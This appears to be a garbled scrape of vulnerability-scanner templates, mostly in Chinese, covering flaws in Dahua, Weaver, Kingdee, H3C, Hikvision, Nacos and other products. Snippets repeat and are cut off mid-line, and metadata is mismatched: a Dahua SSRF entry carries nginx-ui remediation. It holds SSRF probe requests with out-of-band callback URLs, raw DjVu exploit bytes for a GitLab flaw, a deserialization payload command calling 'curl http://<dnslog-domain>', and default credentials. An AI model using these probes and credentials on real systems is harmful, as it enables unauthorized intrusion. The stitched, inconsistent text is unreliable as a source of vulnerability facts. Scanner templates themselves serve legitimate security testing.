publish_time: "2026-03-06"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://github.com/0xJacky/nginx-ui/releases；2、关闭互联网访问权限或限制页面访问权限。"     bug_web: "https://github.com/0xJacky/nginx-ui/releases"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://github.com/0xJacky/nginx-ui/releases；2、关闭互联网访问权限或限制页面访问权限。"

bug_web: "https://github.com/0xJacky/nginx-ui/releases"

description: 大华智慧园区综合管理平台image存在SSRF漏洞，攻击者可构造恶意请求扫描内网服务器，最终可能造成敏感数据泄漏。   reference:     - https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q

reference:     - https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q   classification:

- https://mp.weixin.qq.com/s/f-tmmcaBu-nDMP6z8Bsj2Q

- raw:       - |         GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1

- |         GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1         Host: {{Hostname}}

GET /ipms/imageConvert/image?fileUrl=http://{{interactsh-url}}v%7c%7c{{interactsh-url}}%7c%7c/{{rand_base(6)}}.jpg HTTP/1.1

description: 大华ICC智能物联综合管理平台 ars_list 接口 serviceName 参数存在 SQL 注入漏洞，未经身份验证的远程攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息（例如，管理员后台密码、站点的用户个人信息）之外，甚至在高权限的情况可向服务器中写入木马，进一步获取服务器系统权限。   reference:     - "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/

reference:     - "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/c475889b16e41edce4aae57ff189046d34dfe4e7/2026/01/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%

- "https://github.com/SourByte05/Vulnerability-Wiki-PoC/blob/c475889b16e41edce4aae57ff189046d34dfe4e7/2026/01/%E5%A4%A7%E5%8D%8EICC%E6%99%BA%E8%83%BD%E7%89%A9%E8%81%94%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%

fingerprint: "大华智能物联综合管理平台"     publish_time: "2026-01-04"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.dahuatech.com；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

publish_time: "2026-01-04"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.dahuatech.com；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"     bug_web: "https://www.dahuatech.com"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.dahuatech.com；2、关闭互联网访问权限或限制页面访问权限；3、对所有输入数据进行严格验证，并使用参数化查询。同时，应限制数据库用户的权限，仅授予执行必要操作所需的最低权限。"

bug_web: "https://www.dahuatech.com"

description: Dify开源LLMOps平台的/remote-files/upload接口可上传远程文件，攻击者通过伪造请求内容使服务器向指定目标发起未经授权的访问，造成SSRF漏洞。   reference:     - https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA

reference:     - https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA   classification:

- https://mp.weixin.qq.com/s/Pww8EsO6qprKIGZ4SWVbIA

{"url":"http://{{interactsh-url}}"}

description: Alibaba Druid Monitor has a default password (admin:admin) that allows unauthorized access to database connection pool information and sensitive data.   reference:     - https://github.com/alibaba/druid

reference:     - https://github.com/alibaba/druid   classification:

- https://github.com/alibaba/druid

飞企互联-FE企业运营管理平台是一个基于云计算、智能化、大数据、物联网、移动互联网等技术支撑的云工作台。飞企互联-FE企业运营管理平台ProxyServletUti接口存在任意文件读取，攻击者可利用该漏洞获取服务器敏感信息。   reference:     - https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%8

reference:     - https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94-FE%E4%BC%81%E4%B8%9A%E8%BF%90%E8%90%A5%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0ProxyServletUti%E5%AD%98%E5%9C%A8%E4

- https://github.com/wy876/POC/blob/main/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94/%E9%A3%9E%E4%BC%81%E4%BA%92%E8%81%94-FE%E4%BC%81%E4%B8%9A%E8%BF%90%E8%90%A5%E7%AE%A1%E7%90%86%E5%B9%B3%E5%8F%B0ProxyServletUti%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F

publish_time: "2024-04-16"     dangers_type: "任意文件读取"     bug_solve: "1、升级系统至最新版本，官方地址:https://www.flyrise.cn；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

dangers_type: "任意文件读取"     bug_solve: "1、升级系统至最新版本，官方地址:https://www.flyrise.cn；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"     bug_web: "https://www.flyrise.cn/"

bug_solve: "1、升级系统至最新版本，官方地址:https://www.flyrise.cn；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

bug_web: "https://www.flyrise.cn/"

description: FE 办公协作平台是实现应用开发、运行、管理、维护的信息管理平台。飞企互联 FE 业务协作平台存在文件读取漏洞，攻击者可通过该漏洞读取系统重要文件获取大量敏感信息。   reference:     - "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA"

reference:     - "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA"   metadata:

- "https://mp.weixin.qq.com/s/NN-LqRr16viWuNI93cwNiA"

fingerprint: "飞企互联-FE企业运营管理平台"     publish_time: "2025-10-05"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.flyrise.cn/；2、关闭互联网访问权限或限制页面访问权限；3、确保Web服务器进程只能访问必要的文件和目录，并且这些文件和目录的权限设置得当，不允许执行或写入操作。"

publish_time: "2025-10-05"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.flyrise.cn/；2、关闭互联网访问权限或限制页面访问权限；3、确保Web服务器进程只能访问必要的文件和目录，并且这些文件和目录的权限设置得当，不允许执行或写入操作。"     bug_web: "https://www.flyrise.cn/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.flyrise.cn/；2、关闭互联网访问权限或限制页面访问权限；3、确保Web服务器进程只能访问必要的文件和目录，并且这些文件和目录的权限设置得当，不允许执行或写入操作。"

bug_web: "https://www.flyrise.cn/"

泛微E-Mobile client/cdnfile 接口存在任意文件读取漏洞，未经身份验证攻击者可通过该漏洞读取系统重要文件、数据库配置文件等等。   reference:     - https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8

reference:     - https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md 

- https://github.com/wy876/POC/blob/main/%E6%B3%9B%E5%BE%AEOA/%E6%B3%9B%E5%BE%AEE-Mobile%E7%B3%BB%E7%BB%9F%E6%8E%A5%E5%8F%A3cdnfile%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md

publish_time: "2024-09-20"     dangers_type: "任意文件读取"     bug_solve: "联系厂商打补丁或升级版本：https://www.weaver.com.cn/"

dangers_type: "任意文件读取"     bug_solve: "联系厂商打补丁或升级版本：https://www.weaver.com.cn/"     bug_web: "https://www.weaver.com.cn/"

bug_solve: "联系厂商打补丁或升级版本：https://www.weaver.com.cn/"

bug_web: "https://www.weaver.com.cn/"

description: 泛微E-cology 存在敏感信息泄露，攻击者可以利用该漏洞获取security.key，并通过security.key绕过身份验证，获取后台权限，最终可远程执行任意代码控制目标服务器。   reference:     - "https://vip.bdziyi.com/58207/"

reference:     - "https://vip.bdziyi.com/58207/"   metadata:

- "https://vip.bdziyi.com/58207/"

fingerprint: "泛微OA"     publish_time: "2025-07-09"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.weaver.com.cn/；2、关闭互联网访问权限或限制页面访问权限。"

publish_time: "2025-07-09"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.weaver.com.cn/；2、关闭互联网访问权限或限制页面访问权限。"     bug_web: "https://www.weaver.com.cn/"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url: https://www.weaver.com.cn/；2、关闭互联网访问权限或限制页面访问权限。"

bug_web: "https://www.weaver.com.cn/"

fingerprint: '泛微OA'     publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"

publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"     bug_web: "https://www.weaver.com.cn/e10/index"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限；3、执行命令函数前进行严格的检测和过滤。"

bug_web: "https://www.weaver.com.cn/e10/index"

fingerprint: '泛微OA'     publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限。"

publish_time: "2026-03-23"     bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限。"     bug_web: "https://www.weaver.com.cn/e10/index"

bug_solve: "1、联系厂商打补丁或升级版本，厂商url：https://www.weaver.com.cn/e10/index；2、关闭互联网访问权限或限制页面访问权限。"

bug_web: "https://www.weaver.com.cn/e10/index"

description: FineReport 是帆软自主研发的企业级 Web 报表工具。帆软 FineReport /view/ReportSever 接口存在sqlite注入，攻击者能够利用该漏洞执行attach database写入jsp文件执行系统命令   reference:     - https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078

reference:     - https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078   metadata:

- https://x.threatbook.com/v5/vul/XVE-2024-18078?searchStr=XVE-2024-18078

publish_time: "2024-07-23"     dangers_type: "SQL注入"     bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/Re

dangers_type: "SQL注入"     bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/ReportServer、rule4=/view/ReportSe

bug_solve: "1、安装web应用防火墙插件:请安装并配置相应的最新版Web应用防火墙插件。您可以通过以下链接https://help.fanruan.com/finereport/doc-view-5287.html获取插件,并在解决方案部分找到配置方法。2、调整配置文件:在url.properties文件中,请添加以下规则:rule3=/view/ReportServer、rule4=/view/ReportServer/ 3、删除sqlite 驱动:请从工程的w

bug_web: "https://www.fanruan.com/"

description: GB28181支持多种音视频编解码标准，如H.264、H.265、MPEG4、MJPEG等，同时支持基于SIP、RTP、RTSP、HTTP等协议的通信。GB28181摄像头管理平台api接口处存在未授权漏洞,恶意攻击者可以通过此漏洞获取到登录信息，从而登录到后台，使服务器处于不安全的状态   reference:   - https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA

reference:   - https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA   metadata:

- https://mp.weixin.qq.com/s/VsrlIFCpnnGmxISonPA5AA

publish_time: "2024-05-13"     dangers_type: "信息泄露"     bug_solve: "关注厂商官网及时更新补丁：http://www.ntvgbs.com/"

dangers_type: "信息泄露"     bug_solve: "关注厂商官网及时更新补丁：http://www.ntvgbs.com/"     bug_web: "http://www.ntvgbs.com/"

bug_solve: "关注厂商官网及时更新补丁：http://www.ntvgbs.com/"

bug_web: "http://www.ntvgbs.com/"

高校人力资源管理系统实现了招聘全流程线上管理，涵盖职位发布、简历筛选、面试安排、候选人状态跟踪、录用通知等多方面内容。高校人力资源管理系统ReportServer存在敏感信息泄露漏洞，攻击者可通过漏洞获取账号密码等敏感信息。   reference:     - https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E

reference:     - https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FReportServer%E5%AD%98%E5%9C%A8%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC

- https://github.com/wy876/POC/blob/main/EDU/%E9%AB%98%E6%A0%A1%E4%BA%BA%E5%8A%9B%E8%B5%84%E6%BA%90%E7%AE%A1%E7%90%86%E7%B3%BB%E7%BB%9FReportServer%E5%AD%98%E5%9C%A8%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%E6%BC%8F%E6%B4%9E.md

所有版本。   reference:     - "https://www.ddosi.org/cve-2021-22205/"

reference:     - "https://www.ddosi.org/cve-2021-22205/"     - "https://github.com/RedTeamWing/CVE-2021-22205"

- "https://www.ddosi.org/cve-2021-22205/"

- "https://github.com/RedTeamWing/CVE-2021-22205"

AT&TFORM\x00\x00\x03\xafDJVMDIRM\x00\x00\x00.\x81\x00\x02\x00\x00\x00F\x00\x00\x00\xac\xff\xff\xde\xbf\x99 !\xc8\x91N\xeb\x0c\x07\x1f\xd2\xda\x88\xe8k\xe6D\x0f,q\x02\xeeI\xd3n\x95\xbd\xa2\xc3\"?FORM\x00\x00\x00^DJVUINFO\x00\x00\x00\n\x00\x0

description: Grafana是一个开源的可视化和分析平台，其中多个接口存在未授权访问漏洞，攻击者可以在未授权情况下获取敏感信息。   reference:     - "https://grafana.com/"

reference:     - "https://grafana.com/"   metadata:

- "https://grafana.com/"

fingerprint: "Grafana"     publish_time: "2025-06-12"     bug_solve: "1、关注厂商官网获取补丁或更新版本，官网url：https://grafana.com/；2、关闭互联网暴露面或接口设置访问权限。"

publish_time: "2025-06-12"     bug_solve: "1、关注厂商官网获取补丁或更新版本，官网url：https://grafana.com/；2、关闭互联网暴露面或接口设置访问权限。"     bug_web: "https://grafana.com/"

bug_solve: "1、关注厂商官网获取补丁或更新版本，官网url：https://grafana.com/；2、关闭互联网暴露面或接口设置访问权限。"

bug_web: "https://grafana.com/"

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.5615.50 Safari/537.36         x-grafana-org-id: 1         Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1

x-grafana-org-id: 1         Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1         Accept-Encoding: gzip, deflate

Referer: http://{{Hostname}}/alerting/notifications?search=open&query=1

H3C iMC智能管理中心 /byod/index.xhtml、/selfservice/login.jsf、/rpt/reportpage/loginrpt.jsf等多个接口处存在远程代码执行漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。该漏洞利用难度较低，建议受影响的用户尽快修复。   reference:     - https://github.com/wy876/POC/blob/main/H3C-i

reference:     - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(XVE-2024-4567).md   metadata:

- https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E(XVE-2024-4567).md

publish_time: "2024-08-10"     dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com"

dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com"     bug_web: "https://www.h3c.com/"

bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com"

bug_web: "https://www.h3c.com/"

H3C iMC智能管理中心autoDeploy.xhtmlf等多个接口处存在远程代码执行漏洞，未经身份攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个 web 服务器。该漏洞利用难度较低，建议受影响的用户尽快修复。   reference:     - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF

reference:     - https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83autoDeploy.xhtml%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md   metadata:

- https://github.com/wy876/POC/blob/main/H3C-iMC%E6%99%BA%E8%83%BD%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83autoDeploy.xhtml%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md

publish_time: "2024-08-10"     dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com/"

dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com/"     bug_web: "https://www.h3c.com/"

bug_solve: "联系厂商打补丁或升级版本：https://www.h3c.com/"

bug_web: "https://www.h3c.com/"

publish_time: '2023-03-08'     dangers_type: 文件上传     bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://www.hst.com/

dangers_type: 文件上传     bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://www.hst.com/     bug_web: https://www.hst.com/

bug_solve: 目前厂商尚未提供相关漏洞补丁链接，请关注厂商主页随时更新：https://www.hst.com/

bug_web: https://www.hst.com/

A command injection vulnerability exists in the web module of some Hikvision products. Due to insufficient validation of input parameters, an attacker can send malicious commands to affected devices, resulting in remote code execution.   re

reference:     - https://github.com/Aiminsun/CVE-2021-36260     - https://nvd.nist.gov/vuln/detail/CVE-2021-36260

- https://github.com/Aiminsun/CVE-2021-36260

- https://nvd.nist.gov/vuln/detail/CVE-2021-36260

攻击者可通过发送精心构造的 JNDI 注入请求，在目标服务器上执行任意命令。   reference:     - "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md"

reference:     - "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md"   classification:

- "https://github.com/Asoh42/2022hw-vuln/blob/51ce7af0ab7007676e4160516fc8ed3b0caf883b/hw2022poc%E6%A2%B3%E7%90%86.md"

海康威视运行管理中心系统使用低版本的fastjson，攻击者可在未鉴权情况下获取服务器权限，且由于存在相关依赖，即使服务器不出网无法远程加载恶意类也可通过本地链直接命令执行，从而获取服务器权限。   reference:     - https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E

reference:     - https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E8%A1%8C%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83applyST%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A

- https://github.com/wy876/POC/blob/main/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86/%E6%B5%B7%E5%BA%B7%E5%A8%81%E8%A7%86%E8%BF%90%E8%A1%8C%E7%AE%A1%E7%90%86%E4%B8%AD%E5%BF%83applyST%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E

publish_time: "2024-12-14"     dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本，厂商url: https://www.hikvision.com/cn/"

dangers_type: "命令执行"     bug_solve: "联系厂商打补丁或升级版本，厂商url: https://www.hikvision.com/cn/"     bug_web: "https://www.hikvision.com/cn/"

bug_solve: "联系厂商打补丁或升级版本，厂商url: https://www.hikvision.com/cn/"

bug_web: "https://www.hikvision.com/cn/"

InfluxDB 1.7.6 and earlier has an authentication bypass vulnerability in the httpd service handler. A JWT token with an empty shared secret can be forged, allowing attackers to authenticate as any user and access the database.   reference: 

reference:     - https://starlabs.sg/advisories/24/24-6781/     - https://nvd.nist.gov/vuln/detail/CVE-2019-20933

- https://starlabs.sg/advisories/24/24-6781/

- https://nvd.nist.gov/vuln/detail/CVE-2019-20933

并通过 DNSLog 反连验证漏洞。   reference:     - "https://vulhub.org/#/environments/jboss/CVE-2017-12149/"

reference:     - "https://vulhub.org/#/environments/jboss/CVE-2017-12149/"     - "https://nvd.nist.gov/vuln/detail/CVE-2017-12149"

- "https://vulhub.org/#/environments/jboss/CVE-2017-12149/"

- "https://nvd.nist.gov/vuln/detail/CVE-2017-12149"

#    python {SKILL_ROOT}/scripts/deserialization_payload.py \ #      --gadget CommonsCollections5 \ #      --command "curl http://<dnslog-domain>" \

#      --gadget CommonsCollections5 \ #      --command "curl http://<dnslog-domain>" \ #      --format raw \

#      --command "curl http://<dnslog-domain>" \

由于金蝶云星空CommonFileServer接口处权限设置不当，未经身份认证的攻击者可以利用此漏洞访问服务器上的任意文件，包括数据库凭据、API密钥、配置文件等，从而获取系统权限和敏感信息。   reference:     https://blog.csdn.net/qq_41904294/article/details/132030706

reference:     https://blog.csdn.net/qq_41904294/article/details/132030706   metadata:

https://blog.csdn.net/qq_41904294/article/details/132030706

description: 金蝶云星空管理中心FileProxyHandler.kdfile存在任意文件读取漏洞，未经授权的攻击者可以读取服务器上的任意文件，从而获取系统权限和敏感信息。   reference:     - "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw"

reference:     - "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw"   metadata:

- "https://mp.weixin.qq.com/s/gLNU4upYCt8iHPkAi7_DCw"

fingerprint: "金蝶 K3Cloud"     publish_time: "2023-10-26"     bug_solve: "1、关注厂商官网获取补丁或更新版本：https://vip.kingdee.com；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

publish_time: "2023-10-26"     bug_solve: "1、关注厂商官网获取补丁或更新版本：https://vip.kingdee.com；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"     bug_web: "https://vip.kingdee.com"

bug_solve: "1、关注厂商官网获取补丁或更新版本：https://vip.kingdee.com；2、关闭互联网暴露面或接口设置访问权限；3、在处理客户端输入的参数时，进行严格的验证和过滤，防止未授权的文件访问。"

bug_web: "https://vip.kingdee.com"

description: 金蝶云星空 Kingdee-erp-Unserialize-RCE漏洞   reference: |     https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/

reference: |     https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/   remediation: |

https://github.com/Sweelg/Kingdee-erp-Unserialize-RCE/

description: 金蝶云星空管理中心在DynamicFormService存在反序列化漏洞，外部攻击者可通过使用恶意攻击手段对目标系统进行权限获取，进而接管服务器控制权。   reference:     - "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main"

reference:     - "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main"   metadata:

- "https://github.com/MzzdToT/Kingdee_erp_Unserialize_rce/tree/main"

fingerprint: "金蝶 K3Cloud"     publish_time: "2024-01-08"     bug_solve: "目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1

publish_time: "2024-01-08"     bug_solve: "目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1     https://vip.kingdee.com/article/3905

bug_solve: "目前厂商已发布升级补丁以修复漏洞，补丁获取链接：https://vip.kingdee.com/knowledge/specialDetail/352491453127123200?category=352491970117034240&id=388994085535220992&productLineId=1

https://vip.kingdee.com/article/390545756555520256?productLineId=1&isKnowledge=2"

bug_web: "https://vip.kingdee.com"

description: 金蝶EAS是金蝶软件公司推出的一套企业级应用软件套件，旨在帮助企业实现全面的管理和业务流程优化。金蝶EAS存在任意文件读取漏洞，攻击者可通过构造恶意载荷读取系统任意文件。   reference:   - https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw

reference:   - https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw   metadata:

- https://mp.weixin.qq.com/s/Xwv-_5XT2ohKJIujyQUtuw

publish_time: "2024-01-16"     dangers_type: "文件读取"     bug_solve: "关注厂商官网及时更新补丁：https://www.kingdee.com/"

dangers_type: "文件读取"     bug_solve: "关注厂商官网及时更新补丁：https://www.kingdee.com/"     bug_web: "https://www.kingdee.com/"

bug_solve: "关注厂商官网及时更新补丁：https://www.kingdee.com/"

bug_web: "https://www.kingdee.com/"

MSService服务的init.do接口存在SQL注入漏洞，这一漏洞可能导致敏感数据泄露，数据库完整性受损，甚至使攻击者获得对数据库的完全控制。   reference:     - "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md"

reference:     - "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md"   metadata:

- "https://github.com/wy876/POC/blob/main/MSService服务init.do接口处存在SQL注入漏洞.md"

severity: critical   description: |     用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

description: |     用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限   reference: CNVD-C-2023-76801

用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限

Nacos has an access control error in ConfigOpsController that allows users to perform administrative operations, such as querying and clearing the database, without proper authentication.   reference:     - https://github.com/alibaba/nacos/

reference:     - https://github.com/alibaba/nacos/issues/4463     - https://nvd.nist.gov/vuln/detail/CVE-2021-29442

- https://github.com/alibaba/nacos/issues/4463

- https://nvd.nist.gov/vuln/detail/CVE-2021-29442

description: Alibaba Nacos has a default weak password (nacos:nacos) that allows unauthorized access to the configuration management backend.   reference:     - https://nacos.io/

reference:     - https://nacos.io/     - https://github.com/alibaba/nacos

- https://nacos.io/

- https://github.com/alibaba/nacos

description: OfficeWeb365 /Pic/Indexs接口处存在任意文件读取漏洞，攻击者可通过独特的加密方式对payload进行加密，读取任意文件，获取服务器敏感信息，使系统处于极不安全的状态。   reference:   - https://github.com/

reference:   - https://github.com/   metadata:

- https://github.com/

publish_time: "2024-01-04"     dangers_type: "文件读取"     bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"

dangers_type: "文件读取"     bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"     bug_web: "https://officeweb365.net/"

bug_solve: "请关注厂商官网更新补丁：https://officeweb365.net/"

bug_web: "https://officeweb365.net/"

description: 西安大西信息科技有限公司是一家软件及信息技术服务公司,其OfficeWeb365产品是一套在线办公平台。在该产品中,存在一个文件上传漏洞,该漏洞源于furl参数存在SSRF漏洞。furl参数实现了远程下载和解析zip文件功能,攻击者可以利用此构造SSRF请求,上传包含恶意文件的zip,导致系统getshell。   reference:   - https://github.com/

reference:   - https://github.com/   metadata:

- https://github.com/

